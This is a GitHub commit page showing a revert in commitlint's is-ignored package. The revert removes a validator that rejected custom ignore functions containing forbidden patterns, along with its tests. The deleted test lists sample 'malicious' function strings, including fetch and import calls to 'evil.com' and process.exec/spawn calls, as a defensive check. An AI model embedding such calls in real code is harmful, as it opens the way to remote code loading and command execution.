Skip to content

Commit 90e02ec

Browse files
committed
Revert "fix: improve security validation regex in is-ignored function (#4258)"
This reverts commit 7403d63.
1 parent 26436fe commit 90e02ec

File tree

3 files changed

+1
-91
lines changed

3 files changed

+1
-91
lines changed

@commitlint/is-ignored/src/is-ignored.test.ts

-62
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
import {test, expect} from 'vitest';
22

33
import isIgnored from './is-ignored.js';
4-
import {Matcher} from '@commitlint/types';
54

65
const VERSION_MESSAGES = [
76
'0.0.1',
@@ -206,64 +205,3 @@ test('should throw error if any element of ignores is not a function', () => {
206205
} as any);
207206
}).toThrow('ignores must be array of type function, received items of type:');
208207
});
209-
210-
test('should throw error if custom ignore function returns non-boolean value', () => {
211-
const testCases = [
212-
() => 1, // number
213-
() => 'true', // string
214-
() => undefined, // undefined
215-
() => null, // null
216-
() => ({}), // object
217-
() => [], // array
218-
];
219-
220-
testCases.forEach((testFn) => {
221-
expect(() => {
222-
isIgnored('some commit', {
223-
ignores: [testFn as unknown as Matcher],
224-
});
225-
}).toThrow('Ignore function must return a boolean');
226-
});
227-
});
228-
229-
test('should throw error for custom ignore functions with security risks', () => {
230-
const maliciousPatterns = [
231-
'function() { fetch("https://evil.com"); return true; }',
232-
'function() { import("https://evil.com"); return true; }',
233-
'function() { require("fs"); return true; }',
234-
'function() { process.exec("ls"); return true; }',
235-
'function() { process.spawn("ls"); return true; }',
236-
'function() { process.execFile("ls"); return true; }',
237-
'function() { process.execSync("ls"); return true; }',
238-
'function() { new XMLHttpRequest(); return true; }',
239-
];
240-
241-
maliciousPatterns.forEach((fnString) => {
242-
const fn = new Function(`return ${fnString}`)();
243-
expect(() => {
244-
isIgnored('some commit', {
245-
ignores: [fn],
246-
});
247-
}).toThrow('Ignore function contains forbidden pattern');
248-
});
249-
});
250-
251-
test('should not throw error for custom ignore functions without security risks', () => {
252-
const safePatterns = [
253-
'function(commit) { return commit === "some commit"; }',
254-
'function(commit) { return commit.startsWith("some"); }',
255-
'function(commit) { return commit.includes("some"); }',
256-
'function(commit) { return commit.length < 10 && commit.includes("some"); }',
257-
'function(commit) { return commit.length < 10 || commit.includes("fetch"); }',
258-
'function(commit) { return commit.includes("exec"); }',
259-
];
260-
261-
safePatterns.forEach((fnString) => {
262-
const fn = new Function(`return ${fnString}`)();
263-
expect(() => {
264-
isIgnored('some commit', {
265-
ignores: [fn],
266-
});
267-
}).not.toThrow();
268-
});
269-
});
+1-13
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
import {wildcards} from './defaults.js';
22
import {IsIgnoredOptions} from '@commitlint/types';
3-
import {validateIgnoreFunction} from './validate-ignore-func.js';
43

54
export default function isIgnored(
65
commit: string = '',
@@ -14,9 +13,6 @@ export default function isIgnored(
1413
);
1514
}
1615

17-
// Validate ignore functions
18-
ignores.forEach(validateIgnoreFunction);
19-
2016
const invalids = ignores.filter((c) => typeof c !== 'function');
2117

2218
if (invalids.length > 0) {
@@ -28,13 +24,5 @@ export default function isIgnored(
2824
}
2925

3026
const base = opts.defaults === false ? [] : wildcards;
31-
return [...base, ...ignores].some((w) => {
32-
const result = w(commit);
33-
if (typeof result !== 'boolean') {
34-
throw new Error(
35-
`Ignore function must return a boolean, received ${typeof result}`
36-
);
37-
}
38-
return result;
39-
});
27+
return [...base, ...ignores].some((w) => w(commit));
4028
}

@commitlint/is-ignored/src/validate-ignore-func.ts

-16
This file was deleted.

0 commit comments

Comments
 (0)